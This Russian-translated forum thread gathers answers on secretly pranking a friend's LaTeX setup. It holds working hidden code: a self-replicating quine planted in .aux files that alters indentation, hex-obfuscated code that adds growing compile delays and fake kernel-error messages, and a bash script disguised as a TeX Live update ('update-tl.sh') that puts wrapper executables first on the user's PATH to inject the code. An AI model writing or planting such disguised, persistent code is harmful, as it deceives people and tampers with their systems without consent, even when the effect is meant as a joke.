У меня есть друг, который пользуется моей поддержкой LaTeX. Он не очень разбирается в технологиях, но любит LaTeX, поэтому я помогаю ему, когда что-то, что ему нужно сделать, требует больше, чем стандартный набор макросов и сред.
Нам нравится подшучивать друг над другом. У меня возникла идея подшутить над ним в следующий раз, когда он попросит о помощи LaTeX, сделав что-то относительно безобидное и легко обратимое, что заметно изменит сгенерированный PDF-файл --- или сделает что-то еще заметное при обычном использовании (La)TeX, напримерпролонгация компиляции---нежелательным образом, когда источник проблемы будет трудно обнаружить (так что это был бы случай троллинга кода, я полагаю). Я сам не очень хорош в LaTeX, поэтому подумал о том, чтобы попросить творческих предложений от TeXperts.
Как мне устроить другу неприятности, связанные с (La)TeX?
решение1
Добавьте в их aux
файл следующий фрагмент кода, который является квайном. Когда файл aux
находится \input
в начале запуска LaTeX, код здесь создаст свою копию и запишет ее в aux
файл для следующего запуска. Кроме того, он запустит код, содержащийся \toks2
ниже. Например, выбранный мной код увеличивает размер отступа в каждом абзаце, но только если TeX запускается в нечетную минуту: результаты зависят от того, когда ваш друг компилирует.
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
После одного запуска aux
файл будет содержать следующую сжатую версию (в одну строку):
{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar
\expandafter {\the \everypar \advance \parindent 2pt\relax }\fi }\edef
\x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@
}\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand
\noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }
и последующие запуски оставят ту же самую сжатую версию (снова в одну строку).
Давайте рассмотрим, что происходит подробно: в (простой) группе регистру токена \toks@
присваивается некоторое значение, затем используется его содержимое. Что делает это содержимое? Существует тест для проверки того, читаем ли мы aux-файл в начале или в конце выполнения: \@nodocument
во \relax
втором случае, и мы ничего не делаем. Затем регистр toks \toks2
присваивается коду, который вы фактически хотите выполнить. Следующая \edef\x{...}\x
конструкция расширяет ...
до
\AtBeginDocument{%
<contents of \toks2>\relax
\toks@{<contents of \toks@>}%
\immediate\write\@auxout{%
{%
\toks@{\the\toks@}%
\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
затем выполняет этот код. \AtBeginDocument
запустит свой аргумент немного позже, как только LaTeX снова будет готов записать в aux
файл (в настоящее время он его читает). Итак, как только LaTeX готов записать в файл aux
, он выполняет ваш код (который был временно сохранен в \toks2
), затем сохраняет <contents of \toks@>
обратно в \toks@
(этот регистр токена мог использоваться другим кодом между этим) и записывает следующее в aux
файл (помните, что \write
расширяется):
{%
\toks@{<contents of \toks@>}%
\the\toks@
}% end of brace group
Это именно тот исходный код, который таким образом попадает в aux
файл для следующего запуска LaTeX.
Надеюсь, выбранный мной код \toks2
достаточно прост для понимания:
\ifodd\time
\everypar\expandafter{%
\the\everypar
\advance\parindent 2pt\relax
}%
\fi
если время (в минутах с начала дня) является нечетным числом, то в каждом абзаце выполните то, что уже было сделано в каждом абзаце, а также увеличьте отступ абзаца ( \parindent
) на 2 пункта. Например, предположим, что вы добавляете первый или второй фрагмент кода выше в aux
файл, сгенерированный запуском pdflatex
документа ниже. Тогда документ будет нормальным, если он скомпилирован в четную минуту, а в противном случае будет иметь постоянно растущий отступ абзаца.
\documentclass{article}
\usepackage{lipsum}
\begin{document}
\lipsum[1-10]
\end{document}
решение2
Компилировать с LuaLaTeX
\documentclass{article}
\usepackage{lipsum}
^^5c^^75^^73^^65^^70^^61^^63^^6b^^61^^67^^65^^20
^^7b^^63^^68^^69^^63^^6b^^65^^6e^^69^^7a^^65^^7d
^^5c^^72^^61^^6e^^64^^6f^^6d^^75^^63^^6c^^63^^20
\begin{document}
\lipsum[1]
\end{document}
Также \randomerror
вместо \randomuclc
может быть приятно.
решение3
Пожалуйста, следуйте инструкциям после каждого забега, возможно, вы на что-то наткнулись:)
Для тех, кто не решился попробовать, вот что он делает: выдает сообщение об ошибке (здесь из буфера справки Emacs Tex), где номер страницы является случайным:
ERROR: LaTeX Error: I'm stymied; problem of unknown type on page 2
--- TeX said ---
Re-run LaTeX at least three times to give a chance to the kernel
to re-examine this intriguing problem.
You may have encountered one of the $1,000,000 kernel bug.
See the LaTeX manual or LaTeX Companion for explanation.
Type H <return> for immediate help.
...
l.49 \end{document}
--- HELP ---
From the .log file...
You're in trouble here. Try typing <return> to proceed.
If that doesn't work, type X <return> to quit.
и более того, это сообщение появляется после все более и более длительных задержек в конце каждой новой компиляции (время компиляции составляет порядка n^2/2
секунд, где n
- количество предыдущих запусков).
Шестнадцатеричное преобразование для обфускации кода немного длинновато, возможно, можно было бы использовать шестнадцатеричные числа просто для обфускации, а не \input
там, где файл будет содержать код ниже.
\documentclass{article}
\usepackage{lipsum}
^^5c^^6d^^61^^6b^^65^^61^^74^^6c^^65^^74^^74^^65^^72
^^5c^^41^^74^^45^^6e^^64^^44^^6f^^63^^75^^6d^^65^^6e^^74^^20^^7b%
^^5c^^40^^69^^66^^75^^6e^^64^^65^^66^^69^^6e^^65^^64^^7b^^40^^6b^^65^^72%
^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7d^^7b%
^^5c^^67^^64^^65^^66
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^30^^7d^^7d^^7b^^7d^^5c^^69^^6d^^6d^^65^^64^^69^^61^^74^^65
^^5c^^77^^72^^69^^74^^65^^20^^5c^^40^^61^^75^^78^^6f^^75^^74^^7b%
^^5c^^67^^64^^65^^66^^20^^5c^^6e^^6f^^65^^78^^70^^61^^6e^^64
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^7b%
^^5c^^74^^68^^65^^20^^5c^^6e^^75^^6d^^65^^78^^70^^72
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65^^2b^^32^^2a%
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^36^^35^^35^^33^^36^^5c^^72^^65^^6c^^61^^78^^20^^7d^^7d%
^^5c^^70^^64^^66^^72^^65^^73^^65^^74^^74^^69^^6d^^65^^72
^^5c^^6c^^6f^^6f^^70^^20^^5c^^69^^66^^6e^^75^^6d
^^5c^^70^^64^^66^^65^^6c^^61^^70^^73^^65^^64^^74^^69^^6d^^65^^20^^3c%
^^5c^^40^^6b^^65^^72^^6e^^65^^6c^^70^^61^^6e^^69^^63^^74^^69^^6d^^65%
^^5c^^73^^70^^61^^63^^65^^20^^5c^^72^^65^^70^^65^^61^^74
^^5c^^40^^6c^^61^^74^^65^^78^^40^^65^^72^^72^^6f^^72^^7b^^49^^27^^6d
^^73^^74^^79^^6d^^69^^65^^64^^3b^^20^^70^^72^^6f^^62^^6c^^65^^6d
^^6f^^66^^20^^75^^6e^^6b^^6e^^6f^^77^^6e^^20^^74^^79^^70^^65^^20^^6f^^6e
^^70^^61^^67^^65
^^5c^^70^^64^^66^^75^^6e^^69^^66^^6f^^72^^6d^^64^^65^^76^^69^^61^^74^^65
^^31^^30^^20^^0a^^20^^52^^65^^2d^^72^^75^^6e^^20^^4c^^61^^54^^65^^58
^^61^^74^^20^^6c^^65^^61^^73^^74^^20^^74^^68^^72^^65^^65
^^74^^69^^6d^^65^^73^^20^^74^^6f^^20^^67^^69^^76^^65^^20^^61
^^63^^68^^61^^6e^^63^^65^^20^^74^^6f^^20^^74^^68^^65
^^6b^^65^^72^^6e^^65^^6c^^0a^^20^^74^^6f^^20^^72^^65^^2d^^65^^78^^61^^6d%
^^69^^6e^^65^^20^^74^^68^^69^^73^^20^^69^^6e^^74^^72^^69^^67^^75^^69^^6e%
^^67^^20^^70^^72^^6f^^62^^6c^^65^^6d^^2e^^0a^^20^^59^^6f^^75^^20^^6d^^61%
^^79^^20^^68^^61^^76^^65^^20^^65^^6e^^63^^6f^^75^^6e^^74^^65^^72^^65^^64
^^6f^^6e^^65^^20^^6f^^66^^20^^74^^68^^65
^^5c^^73^^74^^72^^69^^6e^^67^^20^^24^^31^^2c^^30^^30^^30^^2c^^30^^30^^30
^^6b^^65^^72^^6e^^65^^6c^^20^^62^^75^^67^^7d%
^^5c^^40^^65^^68^^64^^7d^^5c^^6d^^61^^6b^^65^^61^^74^^6f^^74^^68^^65^^72
\begin{document}
\lipsum[1-50]
\end{document}
Шестнадцатеричный код (с пробелами в конце строк) делает
\makeatletter\AtEndDocument{%
\@ifundefined{@kernelpanictime}{\gdef\@kernelpanictime{0}}{}%
\immediate\write\@auxout
{\gdef\noexpand\@kernelpanictime{%
\the\numexpr\@kernelpanictime+2*\pdfuniformdeviate
65536\relax}}%
\pdfresettimer
\loop
\ifnum\pdfelapsedtime<\@kernelpanictime\space
\repeat
\@latex@error{I'm stymied; problem of unknown type on page
\pdfuniformdeviate 10 ^^J
Re-run LaTeX at least three times to give a chance to the kernel^^J
to re-examine this intriguing problem.^^J
You may have encountered one of the \string$1,000,000 kernel bug}\@ehd
}\makeatother
решение4
Опубликовано как ответ, а не комментарий, так как код слишком длинный. На основе ответа Бруно Ле Флоха, с небольшим изменением, на которое намекнул egreg в чате.
Добавьте это к вашему aux:
{%
\toks@{%
\ifx\@nodocument\relax\else
\toks2{% Here you put whatever mean code you want
\ifodd\time
\everypar\expandafter{%
\the\everypar
\ifdefined\pdf@elapsedtime
\ifodd\pdf@elapsedtime
\advance\parindent 2pt\relax
\else
\advance\parindent -2pt\relax
\fi
\else
\advance\parindent 2pt\relax
\fi
}%
\fi
}% end of \toks2
\edef\x{%
\noexpand\AtBeginDocument{%
\the\toks2\relax
\toks@{\the\toks@}%
\immediate\write\@auxout{%
{%
\toks@{\noexpand\the\toks@}%
\noexpand\noexpand\noexpand\the\toks@
}% end of brace group
}% end of \immediate\write\@auxout
}% end of \AtBeginDocument
}% end of \edef
\x
\fi
}%
\the\toks@
}
Если вы скомпилируете это с помощью pdflatex
(или lualatex
с pdftexcmds
загруженным пакетом), то изменения \parindent
будут отменяться каждую секунду во время компиляции, любой другой компилятор выдаст то же самое, что и код Бруно.
Может ли быть что-то хуже? О да, может! Вместо того, чтобы напрямую редактировать файл aux (что было бы отменено очисткой каталога сборки), давайте немного подправим исполняемые файлы.
ПРИМЕЧАНИЕ: Как Дэниел упомянул в комментариях ниже, троллить неопытных людей действительно подло, поэтому проявите немного здравого смысла, чтобы оценить, кто из них может понять, что происходит, при более близком рассмотрении.Кроме того, я не несу никакой ответственности за потерянных друзей или постоянное недоверие к присланным вами сценариям ;)
В следующий раз, когда ваш друг попросит о поддержке, отправьте ему или ей этот файл как update-tl.sh
:
#!/bin/bash
pdf_path=`which pdflatex`
tex_path=${pdf_path:0:-9}
mkdir -p ~/.tex-updates/
cd ~/.tex-updates
touch pdflatex
chmod +x pdflatex
echo '#!/bin/bash' > pdflatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> pdflatex
echo 'jobname=${BASH_REMATCH[1]}' >> pdflatex
echo 'if [ ! -f "$jobname.aux" ]' >> pdflatex
echo 'then' >> pdflatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 3pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> pdflatex
echo 'fi' >> pdflatex
echo "$tex_path/pdflatex \$1" >> pdflatex
touch lualatex
chmod +x lualatex
echo '#!/bin/bash' > lualatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> lualatex
echo 'jobname=${BASH_REMATCH[1]}' >> lualatex
echo 'if [ ! -f "$jobname.aux" ]' >> lualatex
echo 'then' >> lualatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -3pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> lualatex
echo 'fi' >> lualatex
echo "$tex_path/lualatex \$1" >> lualatex
touch xelatex
chmod +x xelatex
echo '#!/bin/bash' > xelatex
echo '[[ $1 =~ ^([A-Za-z0-9]+)(\.tex)??$ ]]' >> xelatex
echo 'jobname=${BASH_REMATCH[1]}' >> xelatex
echo 'if [ ! -f "$jobname.aux" ]' >> xelatex
echo 'then' >> xelatex
echo 'echo "{\toks@ {\ifx \@nodocument \relax \else \toks 2{\ifodd \time \everypar \expandafter {\the \everypar \ifdefined \pdf@elapsedtime \ifodd \pdf@elapsedtime \advance \parindent 2pt\relax \else \advance \parindent -2pt\relax \fi \else \advance \parindent 2pt\relax \fi }\fi }\edef \x {\noexpand \AtBeginDocument {\the \toks 2\relax \toks@ {\the \toks@ }\immediate \write \@auxout {{\toks@ {\noexpand \the \toks@ }\noexpand \noexpand \noexpand \the \toks@ }}}}\x \fi }\the \toks@ }" >> $jobname.aux' >> xelatex
echo 'fi' >> xelatex
echo "$tex_path/xelatex \$1" >> xelatex
echo 'PATH="~/.tex-updates:$PATH"' >> ~/.bash_aliases
К сожалению, это работает только под Linux и, вероятно, легко сломается, если добавить полные пути или дополнительные аргументы в pdflatex, но общая идея такова:
- Получить местоположение исходных исполняемых файлов
- создайте каталог для хранения «обновленных» исполняемых файлов
- создать несколько файлов с соответствующими разрешениями на выполнение
- в каждом файле проверьте, существует ли уже aux-файл, и если нет, создайте его с помощью кода выше
- затем позвольте новому скрипту вызвать старый исполняемый файл для создания выходных данных с потенциально измененным aux-файлом
- наконец, добавьте этот новый каталог в переменную среды $PATH
Несколько интересных фактов:
- это работает только если
bash
используется, в противном случае~/.bashrc
не используется - код добавляется только в том случае, если aux-файл еще не существует
- он работает только после того, как
~/.bashrc
получен исходный код, то есть после нового входа в систему или открытия нового окна терминала
РЕДАКТИРОВАТЬЕще больше интересных фактов:
- выполнение
which pdflatex
возвращает оригиналpdflatex
, в то время какpdflatex test.tex
на самом деле выполняет новыйpdflatex
- в многопользовательской системе это влияет только на пользователя, который запускает
update-tl.sh
- ничего не сломалось навсегда, простое удаление
[pdf|lua|xe]latex
скриптов~/.tex-updates
и дополнительных файлов возвращает все в нормальное состояние :) (в отличие от моей первоначальной идеи изменить исполняемые файлы внутри каталогаbin
:P)